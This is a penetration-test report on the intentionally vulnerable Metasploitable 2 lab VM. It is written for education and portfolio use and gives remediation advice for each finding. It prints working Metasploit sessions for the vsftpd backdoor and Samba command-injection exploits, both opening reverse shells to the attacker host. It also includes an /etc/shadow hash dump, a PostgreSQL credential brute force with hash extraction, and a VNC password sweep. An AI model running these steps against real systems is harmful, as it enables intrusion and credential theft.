

PENETRATION TESTING REPORT

Metasploitable 2 -Vulnerability Assessment and Exploitation

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1. Executive Summary

This report presents the findings of a penetration test conducted against Metasploitable 2, a deliberately vulnerable virtual machine designed for security training and research. The assessment was performed in a controlled VMware lab environment using Kali Linux as the attacking machine.

The assessment identified four significant vulnerabilities spanning critical and high severity levels, all of which were successfully exploited to gain unauthorized access to the target system. The findings demonstrate systemic failures in patch management, service configuration, and credential management that would result in complete system compromise in a real-world environment.

Severity	Count
Critical	2
High	2
Total	4

2. Scope and Methodology

2.1 Scope

- Target Machine: Metasploitable 2 — IP Address: 192.168.235.132
- Attacking Machine: Kali Linux WSL — IP Address: 172.30.53.77
- Environment: Isolated VMware lab network (controlled, non-production)
- Assessment Type: Black-box penetration test with exploitation

2.2 Tools Used

- Nmap 7.99 — Network scanning and service enumeration
- Metasploit Framework — Exploitation framework
- Kali Linux WSL — Attacking platform

2.3 Methodology

- Phase 1 — Reconnaissance: Network scanning using Nmap to identify open ports and services
- Phase 2 — Vulnerability Identification: Analysis of discovered services for known vulnerabilities
- Phase 3 — Exploitation: Active exploitation of identified vulnerabilities using Metasploit
- Phase 4 — Post-Exploitation: Verification of access level and evidence collection
- Phase 5 — Reporting: Documentation of findings with recommendations

3. Reconnaissance and Scanning

An Nmap service version scan was conducted against the target to enumerate open ports and running services. The following command was used:

nmap -sV --top-ports 100 192.168.235.132

The scan revealed 16 open ports with multiple vulnerable services running on outdated software versions:

Port	Service	Version	Risk
21/tcp	FTP	vsftpd 2.3.4	Critical
22/tcp	SSH	OpenSSH 4.7p1	Medium
23/tcp	Telnet	Linux telnetd	High
80/tcp	HTTP	Apache 2.2.8	High

139/445	Samba	Samba 3.X-4.X	Critical
3306/tcp	MySQL	MySQL 5.0.51a	High
5432/tcp	PostgreSQL	PostgreSQL 8.3.0	High
5900/tcp	VNC	VNC 3.3	High

```
(kali@DESKTOP-E2EDNVD)~$ sudo nmap -sV --top-ports 100 192.168.235.132
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-09 09:51 +0300
Nmap scan report for 192.168.235.132
Host is up (0.018s latency).
Not shown: 84 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
Service Info: Host: metasploitable.localdomain; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.14 seconds
```

4. Vulnerability Findings and Exploitation

4.1 vsftpd 2.3.4 Backdoor (CVE-2011-2523) — CRITICAL

Description:

The vsftpd 2.3.4 FTP service contains a malicious backdoor that was introduced into the source code in 2011. When a username containing the string ':' is sent, the backdoor opens a root shell on port 6200, allowing an unauthenticated attacker to gain complete control of the system.

Exploitation Details:

- Module: exploit/unix/ftp/vsftpd_234_backdoor
- Target: 192.168.235.132:21
- Result: Meterpreter session opened — root shell obtained

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 172.30.53.77
LHOST => 172.30.53.77
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Started reverse TCP handler on 172.30.53.77:4444
[*] 192.168.235.132:21 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.235.132:21 - FTP banner hints its vulnerable: 220 (vsFTPd 2.3.4)
[+] 192.168.235.132:21 - The target appears to be vulnerable. vsftpd 2.3.4 banner detected; backdoor may be present
[+] 192.168.235.132:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (172.30.53.77:4444 -> 172.30.48.1:54205) at 2026-07-09 11:15:20 +0300

meterpreter >
```

- Evidence: uid=0(root) gid=0(root)

```
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer      : metasploitable.localdomain
OS            : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple    : i486-linux-musl
Meterpreter   : x86/linux
meterpreter >
```

- Post-exploitation: /etc/shadow file dumped password hashes of all system users obtained

```
meterpreter > shell
Process 5864 created.
Channel 1 created.
cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPot$MiyC3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid!:14684:0:99999:7:::
dhcp:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfJhfcYe/:14685:0:99999:7:::
mysql!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDupr50hp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
```

Business Impact:

Complete system compromise. An attacker gains unrestricted root access, enabling data theft, ransomware deployment, lateral movement, and persistent backdoor installation.

Recommendation:

Immediately remove vsftpd 2.3.4 and upgrade to a patched version. Disable FTP entirely if not required and replace with SFTP.

4.2 Samba 'Username Map Script' Command Execution (CVE-2007-2447) — CRITICAL**Description:**

The Samba service running on ports 139 and 445 is vulnerable to an arbitrary command execution vulnerability. The flaw exists in the username map script configuration option, which allows an unauthenticated attacker to inject shell commands by sending specially crafted requests.

Exploitation Details:

- Module: exploit/multi/samba/usermap_script
- Target: 192.168.235.132:139
- Result: Reverse shell session opened — root access obtained
- Evidence: uid=0(root) gid=0(root)

```
msf > use 15
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.235.132
RHOSTS => 192.168.235.132
msf exploit(multi/samba/usermap_script) > set LHOST 172.30.53.77
LHOST => 172.30.53.77
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 172.30.53.77:4444
[*] Command shell session 1 opened (172.30.53.77:4444 -> 172.30.48.1:54282) at 2026-07-09 11:31:35 +0300

whoami
root
id
uid=0(root) gid=0(root)
```

Business Impact:

Complete system compromise via network file sharing service. Particularly dangerous in enterprise environments where Samba is widely deployed for file sharing across departments.

Recommendation:

Upgrade Samba to the latest patched version immediately. Implement network segmentation to restrict SMB traffic and disable the username map script option.

4.3 PostgreSQL Default Credentials — HIGH**Description:**

The PostgreSQL database service running on port 5432 was found to be using default credentials (postgres:postgres). This misconfiguration allows an unauthenticated attacker to gain full administrative access to the database server.

Exploitation Details:

- Module: auxiliary/scanner/postgres/postgres_login
- Target: 192.168.235.132:5432
- Credentials found: Postgres: Postgres

```

msf auxiliary(scanner/postgres/postgres_login) > set CreateSession true
CreateSession => true
msf auxiliary(scanner/postgres/postgres_login) > run
[*] 192.168.235.132:5432 - No active DB -- Credential data will not be saved!
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[*] 192.168.235.132:5432 - 192.168.235.132:5432 - Login Successful: postgres:postgres@template1
[*] PostgreSQL session 1 opened (172.30.53.77:37103 -> 192.168.235.132:5432) at 2026-07-09 09:59:04 +0300
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[*] 192.168.235.132:5432 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.235.132:5432 - Bruteforce completed, 1 credential was successful.
[*] 192.168.235.132:5432 - 1 Postgres session was opened successfully.
[*] Auxiliary module execution completed
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf auxiliary(scanner/postgres/postgres_login) > set RHOSTS 192.168.235.132
RHOSTS => 192.168.235.132
msf auxiliary(scanner/postgres/postgres_login) > set PASSWORD postgres
PASSWORD => postgres
msf auxiliary(scanner/postgres/postgres_login) > run
[*] 192.168.235.132:5432 - No active DB -- Credential data will not be saved!
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[*] 192.168.235.132:5432 - 192.168.235.132:5432 - Login Successful: postgres:postgres@template1
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.235.132:5432 - 192.168.235.132:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[*] 192.168.235.132:5432 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.235.132:5432 - Bruteforce completed, 1 credential was successful.
[*] 192.168.235.132:5432 - You can open a Postgres session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed

```

- Result: Full database access — schema dump and password hash extraction successful

```

msf auxiliary(scanner/postgres/postgres_login) > sessions -i 1
[*] Starting interaction with 1...

postgresql @ 192.168.235.132:5432 (template1) > select datname from pg_database;
[-] Unknown command: select. Run the help command for more details.
postgresql @ 192.168.235.132:5432 (template1) > query select datname from pg_database;
[*] SELECT

Response
=====

# datname
- - - - -
0 template1
1 template0
2 postgres

```

```

postgresql @ 192.168.235.132:5432 (template1) > query select * from pg_tables;
[*] SELECT

Response
=====

#  schemaname      tablename          tableowner  tablespace  hasindexes  hasrules  hastriggers
-  -
0  pg_catalog       pg_type            postgres                t            f          f
1  information_schema sql_features        postgres                f            f          f
2  information_schema sql_implementation_info postgres                f            f          f
3  information_schema sql_languages        postgres                f            f          f
4  pg_catalog       pg_statistic        postgres                t            f          f
5  information_schema sql_packages        postgres                f            f          f
6  information_schema sql_parts            postgres                f            f          f
7  information_schema sql_sizing            postgres                f            f          f
8  information_schema sql_sizing_profiles postgres                f            f          f
9  pg_catalog       pg_authid           postgres    pg_global    t            f          t
10 pg_catalog       pg_ts_parser        postgres                t            f          f
11 pg_catalog       pg_database         postgres    pg_global    t            f          t
12 pg_catalog       pg_shdepend         postgres    pg_global    t            f          f
13 pg_catalog       pg_shdescription    postgres    pg_global    t            f          f
14 pg_catalog       pg_ts_config        postgres                t            f          f
15 pg_catalog       pg_ts_config_map    postgres                t            f          f
16 pg_catalog       pg_ts_dict           postgres                t            f          f
17 pg_catalog       pg_ts_template      postgres                t            f          f
18 pg_catalog       pg_auth_members     postgres    pg_global    t            f          t
19 pg_catalog       pg_attribute        postgres                t            f          f
20 pg_catalog       pg_proc             postgres                t            f          f
21 pg_catalog       pg_class            postgres                t            f          f
22 pg_catalog       pg_autovacuum       postgres                t            f          f
23 pg_catalog       pg_attrdef          postgres                t            f          f
24 pg_catalog       pg_constraint       postgres                t            f          f
25 pg_catalog       pg_inherits         postgres                t            f          f
26 pg_catalog       pg_index            postgres                t            f          f
27 pg_catalog       pg_operator         postgres                t            f          f
28 pg_catalog       pg_opfamily         postgres                t            f          f
29 pg_catalog       pg_opclass          postgres                t            f          f
30 pg_catalog       pg_am              postgres                t            f          f
31 pg_catalog       pg_amop             postgres                t            f          f

```

- Evidence: Password hash extracted: md53175bce1d3201d16594cebf9d7eb3f9d

```

postgresql @ 192.168.235.132:5432 (template1) > query select rolname,rolpassword from pg_authid;
[*] SELECT

Response
=====

#  rolname      rolpassword
-  -
0  postgres     md53175bce1d3201d16594cebf9d7eb3f9d

```

Business Impact:

Unauthorized access to all databases, tables, and stored data. An attacker can read, modify, or delete sensitive data, and potentially escalate to operating system access through database functions.

Recommendation:

Change all default credentials immediately to strong, unique passwords. Implement the principle of least privilege for all database accounts and restrict database access to trusted IP addresses only.

4.4 VNC Weak Password Authentication — HIGH

Description:

The VNC remote desktop service running on port 5900 was found to be using a weak, easily guessable password ('password'). This allows an attacker to gain full graphical remote desktop access to the target system.

Exploitation Details:

- Module: auxiliary/scanner/vnc/vnc_login
- Target: 192.168.235.132:5900
- Credentials found: password: 'password'

- Result: Authentication successful — remote desktop access possible

```
msf > use 151
msf auxiliary(scanner/vnc/vnc_none_auth) > set RHOSTS 192.168.235.132
RHOSTS => 192.168.235.132
msf auxiliary(scanner/vnc/vnc_none_auth) > run
[*] 192.168.235.132:5900 - 192.168.235.132:5900 - VNC server protocol version: 3.3
[*] 192.168.235.132:5900 - 192.168.235.132:5900 - VNC server security types supported: VNC
[*] 192.168.235.132:5900 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/vnc/vnc_none_auth) > use auxiliary/scanner/vnc/vnc_login
msf auxiliary(scanner/vnc/vnc_login) > set RHOSTS 192.168.235.132
RHOSTS => 192.168.235.132
msf auxiliary(scanner/vnc/vnc_login) > run
[*] 192.168.235.132:5900 - 192.168.235.132:5900 - Starting VNC login sweep
[!] 192.168.235.132:5900 - No active DB -- Credential data will not be saved!
[*] 192.168.235.132:5900 - 192.168.235.132:5900 - Login Successful: :password
[*] 192.168.235.132:5900 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Business Impact:

Full graphical access to the desktop environment, enabling an attacker to interact with the system as if physically present, access all files, and install malicious software.

Recommendation:

Implement a strong, complex VNC password immediately. Consider disabling VNC entirely and replacing with more secure remote access solutions such as SSH tunnelling or VPN.

5. Risk Assessment Summary

Vulnerability	Port	CVE	Severity	Result
vsftpd 2.3.4 Backdoor	21	CVE-2011-2523	Critical	Root shell — uid=0(root)
Samba usermap_script	139/445	CVE-2007-2447	Critical	Root shell — uid=0(root)
PostgreSQL Default Credentials	5432	N/A	High	DB access + hash dump
VNC Weak Password	5900	N/A	High	Remote desktop access

6. Recommendations

Based on the severity of findings, the following immediate actions are recommended:

Immediate Actions (Within 24 Hours)

- Isolate the Metasploitable server from all networks immediately to prevent further exploitation.
- Disable vsftpd 2.3.4 service and replace with a patched version or SFTP.
- Change all default credentials — PostgreSQL, VNC, and all system accounts.

Short-Term Actions (Within 1 Week)

- Upgrade Samba to the latest patched version and disable vulnerable configuration options.
- Implement strong password policies across all services and accounts.
- Disable unnecessary services — Telnet, rlogin, and other unencrypted protocols.
- Replace VNC with secure remote access alternatives such as SSH.

Long-Term Actions

- Implement a vulnerability management program with regular scanning and patching cycles.
- Deploy network segmentation to limit lateral movement in case of compromise.
- Conduct regular penetration testing to identify and remediate vulnerabilities proactively.

- Implement SIEM monitoring for early detection of suspicious activities.

7. Conclusion

This penetration test of Metasploitable 2 successfully identified and exploited four significant vulnerabilities, two of which resulted in complete root-level system compromise. The assessment demonstrates that the combination of outdated software, default credentials, and weak authentication mechanisms creates a highly insecure environment that would be trivially compromised by a real-world attacker.

The findings underscore the critical importance of maintaining up-to-date software, enforcing strong credential policies, and implementing regular security assessments as part of a comprehensive security program. All vulnerabilities identified in this report have documented patches and mitigations available and should be remediated as a matter of urgency.

8. Disclaimer

I declare that this penetration test was conducted in a controlled lab environment for educational and portfolio purposes only. All activities were performed on systems I own and operate. No unauthorized systems were accessed during this assessment.